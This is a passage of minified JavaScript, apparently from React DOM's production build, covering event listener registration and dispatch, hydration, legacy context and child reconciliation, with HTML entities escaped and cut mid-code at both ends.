gotPointerCapture input invalid keyDown keyPress keyUp load loadedData loadedMetadata loadStart lostPointerCapture mouseDown mouseMove mouseOut mouseOver mouseUp paste pause play playing pointerCancel pointerDown pointerMove pointerOut pointerOver pointerUp progress rateChange reset resize seeked seeking stalled submit suspend timeUpdate touchCancel touchEnd touchStart volumeChange scroll toggle touchMove waiting wheel&quot;.split(&quot; &quot;);function Cr(f,m){pf.set(f,m),s(m,[f])}for(var A0=0;A0&lt;ld.length;A0++){var x0=ld[A0],sc=x0.toLowerCase(),yh=x0[0].toUpperCase()+x0.slice(1);Cr(sc,&quot;on&quot;+yh)}Cr(od,&quot;onAnimationEnd&quot;),Cr(mf,&quot;onAnimationIteration&quot;),Cr(ju,&quot;onAnimationStart&quot;),Cr(&quot;dblclick&quot;,&quot;onDoubleClick&quot;),Cr(&quot;focusin&quot;,&quot;onFocus&quot;),Cr(&quot;focusout&quot;,&quot;onBlur&quot;),Cr(xl,&quot;onTransitionEnd&quot;),o(&quot;onMouseEnter&quot;,[&quot;mouseout&quot;,&quot;mouseover&quot;]),o(&quot;onMouseLeave&quot;,[&quot;mouseout&quot;,&quot;mouseover&quot;]),o(&quot;onPointerEnter&quot;,[&quot;pointerout&quot;,&quot;pointerover&quot;]),o(&quot;onPointerLeave&quot;,[&quot;pointerout&quot;,&quot;pointerover&quot;]),s(&quot;onChange&quot;,&quot;change click focusin focusout input keydown keyup selectionchange&quot;.split(&quot; &quot;)),s(&quot;onSelect&quot;,&quot;focusout contextmenu dragend focusin keydown keyup mousedown mouseup selectionchange&quot;.split(&quot; &quot;)),s(&quot;onBeforeInput&quot;,[&quot;compositionend&quot;,&quot;keypress&quot;,&quot;textInput&quot;,&quot;paste&quot;]),s(&quot;onCompositionEnd&quot;,&quot;compositionend focusout keydown keypress keyup mousedown&quot;.split(&quot; &quot;)),s(&quot;onCompositionStart&quot;,&quot;compositionstart focusout keydown keypress keyup mousedown&quot;.split(&quot; &quot;)),s(&quot;onCompositionUpdate&quot;,&quot;compositionupdate focusout keydown keypress keyup mousedown&quot;.split(&quot; &quot;));var Fc=&quot;abort canplay canplaythrough durationchange emptied encrypted ended error loadeddata loadedmetadata loadstart pause play playing progress ratechange resize seeked seeking stalled suspend timeupdate volumechange waiting&quot;.split(&quot; &quot;),v0=new Set(&quot;cancel close invalid load scroll toggle&quot;.split(&quot; &quot;).concat(Fc));function Oc(f,m,b){var k=f.type||&quot;unknown-event&quot;;f.currentTarget=b,Sn(k,m,void 0,f),f.currentTarget=null}function oc(f,m){m=(m&amp;4)!==0;for(var b=0;b&lt;f.length;b++){var k=f[b],z=k.event;k=k.listeners;e:{var K=void 0;if(m)for(var fe=k.length-1;0&lt;=fe;fe--){var ke=k[fe],Ue=ke.instance,At=ke.currentTarget;if(ke=ke.listener,Ue!==K&amp;&amp;z.isPropagationStopped())break e;Oc(z,ke,At),K=Ue}else for(fe=0;fe&lt;k.length;fe++){if(ke=k[fe],Ue=ke.instance,At=ke.currentTarget,ke=ke.listener,Ue!==K&amp;&amp;z.isPropagationStopped())break e;Oc(z,ke,At),K=Ue}}}if(xi)throw f=Ji,xi=!1,Ji=null,f}function Ri(f,m){var b=m[xf];b===void 0&amp;&amp;(b=m[xf]=new Set);var k=f+&quot;__bubble&quot;;b.has(k)||(Ko(m,f,2,!1),b.add(k))}function xs(f,m,b){var k=0;m&amp;&amp;(k|=4),Ko(b,f,k,m)}var Ds=&quot;_reactListening&quot;+Math.random().toString(36).slice(2);function Ol(f){if(!f[Ds]){f[Ds]=!0,n.forEach(function(b){b!==&quot;selectionchange&quot;&amp;&amp;(v0.has(b)||xs(b,!1,f),xs(b,!0,f))});var m=f.nodeType===9?f:f.ownerDocument;m===null||m[Ds]||(m[Ds]=!0,xs(&quot;selectionchange&quot;,!1,m))}}function Ko(f,m,b,k){switch(ya(m)){case 1:var z=$o;break;case 4:z=ms;break;default:z=ka}b=z.bind(null,m,b,f),z=void 0,!kr||m!==&quot;touchstart&quot;&amp;&amp;m!==&quot;touchmove&quot;&amp;&amp;m!==&quot;wheel&quot;||(z=!0),k?z!==void 0?f.addEventListener(m,b,{capture:!0,passive:z}):f.addEventListener(m,b,!0):z!==void 0?f.addEventListener(m,b,{passive:z}):f.addEventListener(m,b,!1)}function lc(f,m,b,k,z){var K=k;if((m&amp;1)===0&amp;&amp;(m&amp;2)===0&amp;&amp;k!==null)e:for(;;){if(k===null)return;var fe=k.tag;if(fe===3||fe===4){var ke=k.stateNode.containerInfo;if(ke===z||ke.nodeType===8&amp;&amp;ke.parentNode===z)break;if(fe===4)for(fe=k.return;fe!==null;){var Ue=fe.tag;if((Ue===3||Ue===4)&amp;&amp;(Ue=fe.stateNode.containerInfo,Ue===z||Ue.nodeType===8&amp;&amp;Ue.parentNode===z))return;fe=fe.return}for(;ke!==null;){if(fe=so(ke),fe===null)return;if(Ue=fe.tag,Ue===5||Ue===6){k=K=fe;continue e}ke=ke.parentNode}}k=k.return}zt(function(){var At=K,er=Tt(b),or=[];e:{var Yt=pf.get(f);if(Yt!==void 0){var Br=zn,Fr=f;switch(f){case&quot;keypress&quot;:if(pl(b)===0)break e;case&quot;keydown&quot;:case&quot;keyup&quot;:Br=hh;break;case&quot;focusin&quot;:Fr=&quot;focus&quot;,Br=As;break;case&quot;focusout&quot;:Fr=&quot;blur&quot;,Br=As;break;case&quot;beforeblur&quot;:case&quot;afterblur&quot;:Br=As;break;case&quot;click&quot;:if(b.button===2)break e;case&quot;auxclick&quot;:case&quot;dblclick&quot;:case&quot;mousedown&quot;:case&quot;mousemove&quot;:case&quot;mouseup&quot;:case&quot;mouseout&quot;:case&quot;mouseover&quot;:case&quot;contextmenu&quot;:Br=sf;break;case&quot;drag&quot;:case&quot;dragend&quot;:case&quot;dragenter&quot;:case&quot;dragexit&quot;:case&quot;dragleave&quot;:case&quot;dragover&quot;:case&quot;dragstart&quot;:case&quot;drop&quot;:Br=J0;break;case&quot;touchcancel&quot;:case&quot;touchend&quot;:case&quot;touchmove&quot;:case&quot;touchstart&quot;:Br=Qc;break;case od:case mf:case ju:Br=Yg;break;case xl:Br=cf;break;case&quot;scroll&quot;:Br=ba;break;case&quot;wheel&quot;:Br=op;break;case&quot;copy&quot;:case&quot;cut&quot;:case&quot;paste&quot;:Br=X0;break;case&quot;gotpointercapture&quot;:case&quot;lostpointercapture&quot;:case&quot;pointercancel&quot;:case&quot;pointerdown&quot;:case&quot;pointermove&quot;:case&quot;pointerout&quot;:case&quot;pointerover&quot;:case&quot;pointerup&quot;:Br=ph}var Or=(m&amp;4)!==0,Os=!Or&amp;&amp;f===&quot;scroll&quot;,lt=Or?Yt!==null?Yt+&quot;Capture&quot;:null:Yt;Or=[];for(var Ve=At,ht;Ve!==null;){ht=Ve;var mr=ht.stateNode;if(ht.tag===5&amp;&amp;mr!==null&amp;&amp;(ht=mr,lt!==null&amp;&amp;(mr=qr(Ve,lt),mr!=null&amp;&amp;Or.push(Yo(Ve,mr,ht)))),Os)break;Ve=Ve.return}0&lt;Or.length&amp;&amp;(Yt=new Br(Yt,Fr,null,b,er),or.push({event:Yt,listeners:Or}))}}if((m&amp;7)===0){e:{if(Yt=f===&quot;mouseover&quot;||f===&quot;pointerover&quot;,Br=f===&quot;mouseout&quot;||f===&quot;pointerout&quot;,Yt&amp;&amp;b!==We&amp;&amp;(Fr=b.relatedTarget||b.fromElement)&amp;&amp;(so(Fr)||Fr[Mc]))break e;if((Br||Yt)&amp;&amp;(Yt=er.window===er?er:(Yt=er.ownerDocument)?Yt.defaultView||Yt.parentWindow:window,Br?(Fr=b.relatedTarget||b.toElement,Br=At,Fr=Fr?so(Fr):null,Fr!==null&amp;&amp;(Os=si(Fr),Fr!==Os||Fr.tag!==5&amp;&amp;Fr.tag!==6)&amp;&amp;(Fr=null)):(Br=null,Fr=At),Br!==Fr)){if(Or=sf,mr=&quot;onMouseLeave&quot;,lt=&quot;onMouseEnter&quot;,Ve=&quot;mouse&quot;,(f===&quot;pointerout&quot;||f===&quot;pointerover&quot;)&amp;&amp;(Or=ph,mr=&quot;onPointerLeave&quot;,lt=&quot;onPointerEnter&quot;,Ve=&quot;pointer&quot;),Os=Br==null?Yt:vl(Br),ht=Fr==null?Yt:vl(Fr),Yt=new Or(mr,Ve+&quot;leave&quot;,Br,b,er),Yt.target=Os,Yt.relatedTarget=ht,mr=null,so(er)===At&amp;&amp;(Or=new Or(lt,Ve+&quot;enter&quot;,Fr,b,er),Or.target=ht,Or.relatedTarget=Os,mr=Or),Os=mr,Br&amp;&amp;Fr)t:{for(Or=Br,lt=Fr,Ve=0,ht=Or;ht;ht=Lc(ht))Ve++;for(ht=0,mr=lt;mr;mr=Lc(mr))ht++;for(;0&lt;Ve-ht;)Or=Lc(Or),Ve--;for(;0&lt;ht-Ve;)lt=Lc(lt),ht--;for(;Ve--;){if(Or===lt||lt!==null&amp;&amp;Or===lt.alternate)break t;Or=Lc(Or),lt=Lc(lt)}Or=null}else Or=null;Br!==null&amp;&amp;bh(or,Yt,Br,Or,!1),Fr!==null&amp;&amp;Os!==null&amp;&amp;bh(or,Os,Fr,Or,!0)}}e:{if(Yt=At?vl(At):window,Br=Yt.nodeName&amp;&amp;Yt.nodeName.toLowerCase(),Br===&quot;select&quot;||Br===&quot;input&quot;&amp;&amp;Yt.type===&quot;file&quot;)var Ur=cp;else if(lp(Yt))if(wo)Ur=fp;else{Ur=m0;var sn=up}else(Br=Yt.nodeName)&amp;&amp;Br.toLowerCase()===&quot;input&quot;&amp;&amp;(Yt.type===&quot;checkbox&quot;||Yt.type===&quot;radio&quot;)&amp;&amp;(Ur=dp);if(Ur&amp;&amp;(Ur=Ur(f,At))){nd(or,Ur,b,er);break e}sn&amp;&amp;sn(f,Yt,At),f===&quot;focusout&quot;&amp;&amp;(sn=Yt._wrapperState)&amp;&amp;sn.controlled&amp;&amp;Yt.type===&quot;number&quot;&amp;&amp;Pt(Yt,&quot;number&quot;,Yt.value)}switch(sn=At?vl(At):window,f){case&quot;focusin&quot;:(lp(sn)||sn.contentEditable===&quot;true&quot;)&amp;&amp;(ac=sn,g0=At,Iu=null);break;case&quot;focusout&quot;:Iu=g0=ac=null;break;case&quot;mousedown&quot;:Yr=!0;break;case&quot;contextmenu&quot;:case&quot;mouseup&quot;:case&quot;dragend&quot;:Yr=!1,ao(or,b,er);break;case&quot;selectionchange&quot;:if(hf)break;case&quot;keydown&quot;:case&quot;keyup&quot;:ao(or,b,er)}var on;if(uf)e:{switch(f){case&quot;compositionstart&quot;:var vn=&quot;onCompositionStart&quot;;break e;case&quot;compositionend&quot;:vn=&quot;onCompositionEnd&quot;;break e;case&quot;compositionupdate&quot;:vn=&quot;onCompositionUpdate&quot;;break e}vn=void 0}else Go?rc(f,b)&amp;&amp;(vn=&quot;onCompositionEnd&quot;):f===&quot;keydown&quot;&amp;&amp;b.keyCode===229&amp;&amp;(vn=&quot;onCompositionStart&quot;);vn&amp;&amp;(bu&amp;&amp;b.locale!==&quot;ko&quot;&amp;&amp;(Go||vn!==&quot;onCompositionStart&quot;?vn===&quot;onCompositionEnd&quot;&amp;&amp;Go&amp;&amp;(on=Ni()):(_s=er,Ks=&quot;value&quot;in _s?_s.value:_s.textContent,Go=!0)),sn=vs(At,vn),0&lt;sn.length&amp;&amp;(vn=new fh(vn,f,null,b,er),or.push({event:vn,listeners:sn}),on?vn.data=on:(on=Fl(b),on!==null&amp;&amp;(vn.data=on)))),(on=yu?wu(f,b):rd(f,b))&amp;&amp;(At=vs(At,&quot;onBeforeInput&quot;),0&lt;At.length&amp;&amp;(er=new fh(&quot;onBeforeInput&quot;,&quot;beforeinput&quot;,null,b,er),or.push({event:er,listeners:At}),er.data=on))}oc(or,m)})}function Yo(f,m,b){return{instance:f,listener:m,currentTarget:b}}function vs(f,m){for(var b=m+&quot;Capture&quot;,k=[];f!==null;){var z=f,K=z.stateNode;z.tag===5&amp;&amp;K!==null&amp;&amp;(z=K,K=qr(f,b),K!=null&amp;&amp;k.unshift(Yo(f,K,z)),K=qr(f,m),K!=null&amp;&amp;k.push(Yo(f,K,z))),f=f.return}return k}function Lc(f){if(f===null)return null;do f=f.return;while(f&amp;&amp;f.tag!==5);return f||null}function bh(f,m,b,k,z){for(var K=m._reactName,fe=[];b!==null&amp;&amp;b!==k;){var ke=b,Ue=ke.alternate,At=ke.stateNode;if(Ue!==null&amp;&amp;Ue===k)break;ke.tag===5&amp;&amp;At!==null&amp;&amp;(ke=At,z?(Ue=qr(b,K),Ue!=null&amp;&amp;fe.unshift(Yo(b,Ue,ke))):z||(Ue=qr(b,K),Ue!=null&amp;&amp;fe.push(Yo(b,Ue,ke)))),b=b.return}fe.length!==0&amp;&amp;f.push({event:m,listeners:fe})}var hp=/\r\n?/g,Eo=/\u0000|\uFFFD/g;function gf(f){return(typeof f==&quot;string&quot;?f:&quot;&quot;+f).replace(hp,`
`).replace(Eo,&quot;&quot;)}function y0(f,m,b){if(m=gf(m),gf(f)!==m&amp;&amp;b)throw Error(r(425))}function b0(){}var Nu=null,cc=null;function wh(f,m){return f===&quot;textarea&quot;||f===&quot;noscript&quot;||typeof m.children==&quot;string&quot;||typeof m.children==&quot;number&quot;||typeof m.dangerouslySetInnerHTML==&quot;object&quot;&amp;&amp;m.dangerouslySetInnerHTML!==null&amp;&amp;m.dangerouslySetInnerHTML.__html!=null}var Eh=typeof setTimeout==&quot;function&quot;?setTimeout:void 0,mp=typeof clearTimeout==&quot;function&quot;?clearTimeout:void 0,Ch=typeof Promise==&quot;function&quot;?Promise:void 0,bn=typeof queueMicrotask==&quot;function&quot;?queueMicrotask:typeof Ch&lt;&quot;u&quot;?function(f){return Ch.resolve(null).then(f).catch(pp)}:Eh;function pp(f){setTimeout(function(){throw f})}function cd(f,m){var b=m,k=0;do{var z=b.nextSibling;if(f.removeChild(b),z&amp;&amp;z.nodeType===8)if(b=z.data,b===&quot;/$&quot;){if(k===0){f.removeChild(z),tc(m);return}k--}else b!==&quot;$&quot;&amp;&amp;b!==&quot;$?&quot;&amp;&amp;b!==&quot;$!&quot;||k++;b=z}while(b);tc(m)}function Co(f){for(;f!=null;f=f.nextSibling){var m=f.nodeType;if(m===1||m===3)break;if(m===8){if(m=f.data,m===&quot;$&quot;||m===&quot;$!&quot;||m===&quot;$?&quot;)break;if(m===&quot;/$&quot;)return null}}return f}function Xg(f){f=f.previousSibling;for(var m=0;f;){if(f.nodeType===8){var b=f.data;if(b===&quot;$&quot;||b===&quot;$!&quot;||b===&quot;$?&quot;){if(m===0)return f;m--}else b===&quot;/$&quot;&amp;&amp;m++}f=f.previousSibling}return null}var w0=Math.random().toString(36).slice(2),Zs=&quot;__reactFiber$&quot;+w0,Af=&quot;__reactProps$&quot;+w0,Mc=&quot;__reactContainer$&quot;+w0,xf=&quot;__reactEvents$&quot;+w0,gp=&quot;__reactListeners$&quot;+w0,eA=&quot;__reactHandles$&quot;+w0;function so(f){var m=f[Zs];if(m)return m;for(var b=f.parentNode;b;){if(m=b[Mc]||b[Zs]){if(b=m.alternate,m.child!==null||b!==null&amp;&amp;b.child!==null)for(f=Xg(f);f!==null;){if(b=f[Zs])return b;f=Xg(f)}return m}f=b,b=f.parentNode}return null}function E0(f){return f=f[Zs]||f[Mc],!f||f.tag!==5&amp;&amp;f.tag!==6&amp;&amp;f.tag!==13&amp;&amp;f.tag!==3?null:f}function vl(f){if(f.tag===5||f.tag===6)return f.stateNode;throw Error(r(33))}function Uc(f){return f[Af]||null}var Zo=[],Su=-1;function uc(f){return{current:f}}function ii(f){0&gt;Su||(f.current=Zo[Su],Zo[Su]=null,Su--)}function vi(f,m){Su++,Zo[Su]=f.current,f.current=m}var Io={},Ts=uc(Io),Rs=uc(!1),Bu=Io;function ku(f,m){var b=f.type.contextTypes;if(!b)return Io;var k=f.stateNode;if(k&amp;&amp;k.__reactInternalMemoizedUnmaskedChildContext===m)return k.__reactInternalMemoizedMaskedChildContext;var z={},K;for(K in b)z[K]=m[K];return k&amp;&amp;(f=f.stateNode,f.__reactInternalMemoizedUnmaskedChildContext=m,f.__reactInternalMemoizedMaskedChildContext=z),z}function Ps(f){return f=f.childContextTypes,f!=null}function ud(){ii(Rs),ii(Ts)}function tA(f,m,b){if(Ts.current!==Io)throw Error(r(168));vi(Ts,m),vi(Rs,b)}function B(f,m,b){var k=f.stateNode;if(m=m.childContextTypes,typeof k.getChildContext!=&quot;function&quot;)return b;k=k.getChildContext();for(var z in k)if(!(z in m))throw Error(r(108,we(f)||&quot;Unknown&quot;,z));return ne({},b,k)}function N(f){return f=(f=f.stateNode)&amp;&amp;f.__reactInternalMemoizedMergedChildContext||Io,Bu=Ts.current,vi(Ts,f),vi(Rs,Rs.current),!0}function F(f,m,b){var k=f.stateNode;if(!k)throw Error(r(169));b?(f=B(f,m,Bu),k.__reactInternalMemoizedMergedChildContext=f,ii(Rs),ii(Ts),vi(Ts,f)):ii(Rs),vi(Rs,b)}var te=null,oe=!1,ye=!1;function Fe(f){te===null?te=[f]:te.push(f)}function bt(f){oe=!0,Fe(f)}function Rt(){if(!ye&amp;&amp;te!==null){ye=!0;var f=0,m=Kr;try{var b=te;for(Kr=1;f&lt;b.length;f++){var k=b[f];do k=k(!0);while(k!==null)}te=null,oe=!1}catch(z){throw te!==null&amp;&amp;(te=te.slice(f+1)),Ma(wi,Rt),z}finally{Kr=m,ye=!1}}return null}var ar=[],Pr=0,Vi=null,ai=0,Xi=[],ys=0,is=null,mt=1,ot=&quot;&quot;;function Ct(f,m){ar[Pr++]=ai,ar[Pr++]=Vi,Vi=f,ai=m}function Tr(f,m,b){Xi[ys++]=mt,Xi[ys++]=ot,Xi[ys++]=is,is=f;var k=mt;f=ot;var z=32-Sa(k)-1;k&amp;=~(1&lt;&lt;z),b+=1;var K=32-Sa(m)+z;if(30&lt;K){var fe=z-z%5;K=(k&amp;(1&lt;&lt;fe)-1).toString(32),k&gt;&gt;=fe,z-=fe,mt=1&lt;&lt;32-Sa(m)+z|b&lt;&lt;z|k,ot=K+f}else mt=1&lt;&lt;K|b&lt;&lt;z|k,ot=f}function Jr(f){f.return!==null&amp;&amp;(Ct(f,1),Tr(f,1,0))}function ci(f){for(;f===Vi;)Vi=ar[--Pr],ar[Pr]=null,ai=ar[--Pr],ar[Pr]=null;for(;f===is;)is=Xi[--ys],Xi[ys]=null,ot=Xi[--ys],Xi[ys]=null,mt=Xi[--ys],Xi[ys]=null}var Lr=null,pn=null,Bn=!1,kn=null;function zc(f,m){var b=Hu(5,null,null,0);b.elementType=&quot;DELETED&quot;,b.stateNode=m,b.return=f,m=f.deletions,m===null?(f.deletions=[b],f.flags|=16):m.push(b)}function dd(f,m){switch(f.tag){case 5:var b=f.type;return m=m.nodeType!==1||b.toLowerCase()!==m.nodeName.toLowerCase()?null:m,m!==null?(f.stateNode=m,Lr=f,pn=Co(m.firstChild),!0):!1;case 6:return m=f.pendingProps===&quot;&quot;||m.nodeType!==3?null:m,m!==null?(f.stateNode=m,Lr=f,pn=null,!0):!1;case 13:return m=m.nodeType!==8?null:m,m!==null?(b=is!==null?{id:mt,overflow:ot}:null,f.memoizedState={dehydrated:m,treeContext:b,retryLane:1073741824},b=Hu(18,null,null,0),b.stateNode=m,b.return=f,f.child=b,Lr=f,pn=null,!0):!1;default:return!1}}function Ap(f){return(f.mode&amp;1)!==0&amp;&amp;(f.flags&amp;128)===0}function fd(f){if(Bn){var m=pn;if(m){var b=m;if(!dd(f,m)){if(Ap(f))throw Error(r(418));m=Co(b.nextSibling);var k=Lr;m&amp;&amp;dd(f,m)?zc(k,b):(f.flags=f.flags&amp;-4097|2,Bn=!1,Lr=f)}}else{if(Ap(f))throw Error(r(418));f.flags=f.flags&amp;-4097|2,Bn=!1,Lr=f}}}function vf(f){for(f=f.return;f!==null&amp;&amp;f.tag!==5&amp;&amp;f.tag!==3&amp;&amp;f.tag!==13;)f=f.return;Lr=f}function $c(f){if(f!==Lr)return!1;if(!Bn)return vf(f),Bn=!0,!1;var m;if((m=f.tag!==3)&amp;&amp;!(m=f.tag!==5)&amp;&amp;(m=f.type,m=m!==&quot;head&quot;&amp;&amp;m!==&quot;body&quot;&amp;&amp;!wh(f.type,f.memoizedProps)),m&amp;&amp;(m=pn)){if(Ap(f))throw g2(),Error(r(418));for(;m;)zc(f,m),m=Co(m.nextSibling)}if(vf(f),f.tag===13){if(f=f.memoizedState,f=f!==null?f.dehydrated:null,!f)throw Error(r(317));e:{for(f=f.nextSibling,m=0;f;){if(f.nodeType===8){var b=f.data;if(b===&quot;/$&quot;){if(m===0){pn=Co(f.nextSibling);break e}m--}else b!==&quot;$&quot;&amp;&amp;b!==&quot;$!&quot;&amp;&amp;b!==&quot;$?&quot;||m++}f=f.nextSibling}pn=null}}else pn=Lr?Co(f.stateNode.nextSibling):null;return!0}function g2(){for(var f=pn;f;)f=Co(f.nextSibling)}function Ih(){pn=Lr=null,Bn=!1}function xp(f){kn===null?kn=[f]:kn.push(f)}var dx=_.ReactCurrentBatchConfig;function yf(f,m,b){if(f=b.ref,f!==null&amp;&amp;typeof f!=&quot;function&quot;&amp;&amp;typeof f!=&quot;object&quot;){if(b._owner){if(b=b._owner,b){if(b.tag!==1)throw Error(r(309));var k=b.stateNode}if(!k)throw Error(r(147,f));var z=k,K=&quot;&quot;+f;return m!==null&amp;&amp;m.ref!==null&amp;&amp;typeof m.ref==&quot;function&quot;&amp;&amp;m.ref._stringRef===K?m.ref:(m=function(fe){var ke=z.refs;fe===null?delete ke[K]:ke[K]=fe},m._stringRef=K,m)}if(typeof f!=&quot;string&quot;)throw Error(r(284));if(!b._owner)throw Error(r(290,f))}return f}function jh(f,m){throw f=Object.prototype.toString.call(m),Error(r(31,f===&quot;[object Object]&quot;?&quot;object with keys {&quot;+Object.keys(m).join(&quot;, &quot;)+&quot;}&quot;:f))}function A2(f){var m=f._init;return m(f._payload)}function x2(f){function m(lt,Ve){if(f){var ht=lt.deletions;ht===null?(lt.deletions=[Ve],lt.flags|=16):ht.push(Ve)}}function b(lt,Ve){if(!f)return null;for(;Ve!==null;)m(lt,Ve),Ve=Ve.sibling;return null}function k(lt,Ve){for(lt=new Map;Ve!==null;)Ve.key!==null?lt.set(Ve.key,Ve):lt.set(Ve.index,Ve),Ve=Ve.sibling;return lt}function z(lt,Ve){return lt=Hh(lt,Ve),lt.index=0,lt.sibling=null,lt}function K(lt,Ve,ht){return lt.index=ht,f?(ht=lt.alternate,ht!==null?(ht=ht.index,ht&lt;Ve?(lt.flags|=2,Ve):ht):(lt.flags|=2,Ve)):(lt.flags|=1048576,Ve)}function fe(lt){return f&amp;&amp;lt.alternate===null&amp;&amp;(lt.flags|=2),lt}function ke(lt,Ve,ht,mr){return Ve===null||Ve.tag!==6?(Ve=YC(ht,lt.mode,mr),Ve.return=lt,Ve):(Ve=z(Ve,ht),Ve.return=lt,Ve)}function Ue(lt,Ve,ht,mr){var Ur=ht.type;return Ur===R?er(lt,Ve,ht.props.children,mr,ht.key):Ve!==null&amp;&amp;(Ve.elementType===Ur||typeof Ur==&quot;object&quot;&amp;&amp;Ur!==null&amp;&amp;Ur.$$typeof===G&amp;&amp;A2(Ur)===Ve.type)?(mr=z(Ve,ht.props),mr.ref=yf(lt,Ve,ht),mr.return=lt,mr):(mr=T2(ht.type,ht.key,ht.props,null,lt.mode,mr),mr.ref=yf(lt,Ve,ht),mr.return=lt,mr)}function At(lt,Ve,ht,mr){return Ve===null||Ve.tag!==4||Ve.stateNode.containerInfo!==ht.containerInfo||Ve.stateNode.implementation!==ht.implementation?(Ve=ZC(ht,lt.mode,mr),Ve.return=lt,Ve):(Ve=z(Ve,ht.children||[]),Ve.return=lt,Ve)}function er(lt,Ve,ht,mr,Ur){return Ve===null||Ve.tag!==7?(Ve=Pp(ht,lt.mode,mr,Ur),Ve.return=lt,Ve):(Ve=z(Ve,ht),Ve.return=lt,Ve)}function or(lt,Ve,ht){if(typeof Ve==&quot;string&quot;&amp;&amp;Ve!==&quot;&quot;||typeof Ve==&quot;number&quot;)return Ve=YC(&quot;&quot;+Ve,lt.mode,ht),Ve.return=lt,Ve;if(typeof Ve==&quot;object&quot;&amp;&amp;Ve!==null){switch(Ve.$$typeof){case C:return ht=T2(Ve.type,Ve.key,Ve.props,null,lt.mode,ht),ht.ref=yf(lt,null,Ve),ht.return=lt,ht;case Q:return Ve=ZC(Ve,lt.mode,ht),Ve.return=lt,Ve;case G:var mr=Ve._init;return or(lt,mr(Ve._payload),ht)}if(Kt(Ve)||ee(Ve))return Ve=Pp(Ve,lt.mode,ht,null),Ve.return=lt,Ve;jh(lt,Ve)}return null}function Yt(lt,Ve,ht,mr){var Ur=Ve!==null?Ve.key:null;if(typeof ht==&quot;string&quot;&amp;&amp;ht!==&quot;&quot;||typeof ht==&quot;number&quot;)return Ur!==null?null:ke(lt,Ve,&quot;&quot;+ht,mr);if(typeof ht==&quot;object&quot;&amp;&amp;ht!==null){switch(ht.$$typeof){case C:return ht.key===Ur?Ue(lt,Ve,ht,mr):null;case Q:return ht.key===Ur?At(lt,Ve,ht,mr):null;case G:return Ur=ht._init,Yt(lt,Ve,Ur(ht._payload),mr)}if(Kt(ht)||ee(ht))return Ur!==null?null:er(lt,Ve,ht,mr,null);jh(lt,ht)}return null}function Br(lt,Ve,ht,mr,Ur){if(typeof mr==&quot;string&quot;&amp;&amp;mr!==&quot;&quot;||typeof mr==&quot;number&quot;)return lt=lt.get(ht)||null,ke(Ve,lt,&quot;&quot;+mr,Ur);if(typeof mr==&quot;object&quot;&amp;&amp;mr!==null){switch(mr.$$typeof){case C:return lt=lt.get(mr.key===null?ht:mr.key)||null,Ue(Ve,lt,mr,Ur);case Q:return lt=lt.get(mr.key===null?ht:mr.key)||null,At(Ve,lt,mr,Ur);case G:var sn=mr._init;return Br(lt,Ve,ht,sn(mr._payload),Ur)}if(Kt(mr)||ee(mr))return lt=lt.get(ht)||null,er(Ve,lt,mr,Ur,null);jh(Ve,mr)}return null}function Fr(lt,Ve,ht,mr){for(var Ur=null,sn=null,on=Ve,vn=Ve=0,Bo=null;on!==null&amp;&amp;vn&lt;ht.length;vn++){on.index&gt;vn?(Bo=on,on=null):Bo=on.sibling;var Si=Yt(lt,on,ht[vn],mr);if(Si===null){on===null&amp;&amp;(on=Bo);break}f&amp;&amp;on&amp;&amp;Si.alternate===null&amp;&amp;m(lt,on),Ve=K(Si,Ve,vn),sn===null?Ur=Si:sn.sibling=Si,sn=Si,on=Bo}if(vn===ht.length)return b(lt,on),Bn&amp;&amp;Ct(lt,vn),Ur;if(on===null){for(;vn&lt;ht.length;vn++)on=or(lt,ht[vn],mr),on!==null&amp;&amp;(Ve=K(on,Ve,vn),sn===null?Ur=on:sn.sibling=on,sn=on);return Bn&amp;&amp;Ct(lt,vn),Ur}for(on=k(lt,on);vn&lt;ht.length;vn++)Bo=Br(on,lt,vn,ht[vn],mr),Bo!==null&amp;&amp;(f&amp;&amp;Bo.alternate!==null&amp;&amp;on.delete(Bo.key===null?vn:Bo.key),Ve=K(Bo,Ve,vn),sn===null?Ur=Bo:sn.sibling=Bo,sn=Bo);return f&amp;&amp;on.forEach(function(qh){return m(lt,qh)}),Bn&amp;&amp;Ct(lt,vn),Ur}function Or(lt,Ve,ht,mr){var Ur=ee(ht);if(typeof Ur!=&quot;function&quot;)throw Error(r(150));if(ht=Ur.call(ht),ht==null)throw Error(r(151));for(var sn=Ur=null,on=Ve,vn=Ve=0,Bo=null,Si=ht.next();on!==null&amp;&amp;!Si.done;vn++,Si=ht.next()){on.index&gt;vn?(Bo=on,on=null):Bo=on.sibling;var qh=Yt(lt,on,Si.value,mr);if(qh===null){on===null&amp;&amp;(on=Bo);break}f&amp;&amp;on&amp;&amp;qh.alternate===null&amp;&amp;m(lt,on),Ve=K(qh,Ve,vn),sn===null?Ur=qh:sn.sibling=qh,sn=qh,on=Bo}if(Si.done)return b(lt,on),Bn&amp;&amp;Ct(lt,vn),Ur;if(on===null){for(;!Si.done;vn++,Si=ht.next())Si=or(lt,Si.value,mr),Si!==null&amp;&amp;(Ve=K(Si,Ve,vn),sn===null?Ur=Si:sn.sibling=Si,sn=Si);return Bn&amp;&amp;Ct(lt,vn),Ur}for(on=k(lt,on);!Si.done;vn++,Si=ht.next())Si=Br(on,lt,vn,Si.value,mr),Si!==null&amp;&amp;(f&amp;&amp;Si.alternate!==null&amp;&amp;on.delete(Si.key===null?vn:Si.key),Ve=K(Si,Ve,vn),sn===null?Ur=Si:sn.sibling=Si,sn=Si);return f&amp;&amp;on.forEach(function(zne){return m(lt,zne)}),Bn&amp;&amp;Ct(lt,vn),Ur}function Os(lt,Ve,ht,mr){if(typeof ht==&quot;object&quot;&amp;&amp;ht!==null&amp;&amp;ht.type===R&amp;&amp;ht.key===null&amp;&amp;(ht=ht.props.children),typeof ht==&quot;object&quot;&amp;&amp;ht!==null){switch(ht.$$typeof){case C:e:{for(var Ur=ht.key,sn=Ve;sn!==null;){if(sn.key===Ur){if(Ur=ht.type,Ur===R){if(sn.tag===7){b(lt,sn.sibling),Ve=z(sn,ht.props.children),Ve.return=lt,lt=Ve;break e}}else if(sn.elementType===Ur||typeof Ur==&quot;object&quot;&amp;&amp;Ur!==null&amp;&amp;Ur.$$typeof===G&amp;&amp;A2(Ur)===sn.type){b(lt,sn.sibling),Ve=z(sn,ht.props),Ve.ref=yf(lt,sn,ht),Ve.return=lt,lt=Ve;break e}b(lt,sn);break}else m(lt,sn);sn=sn.sibling}ht.type===R?(Ve=Pp(ht.props.children,lt.mode,mr,ht.key),Ve.return=lt,lt=Ve):(mr=T2(ht.type,ht.key,ht.props,null,lt.mode,mr),mr.ref=yf(lt,Ve,ht),mr.return=lt,lt=mr)}return 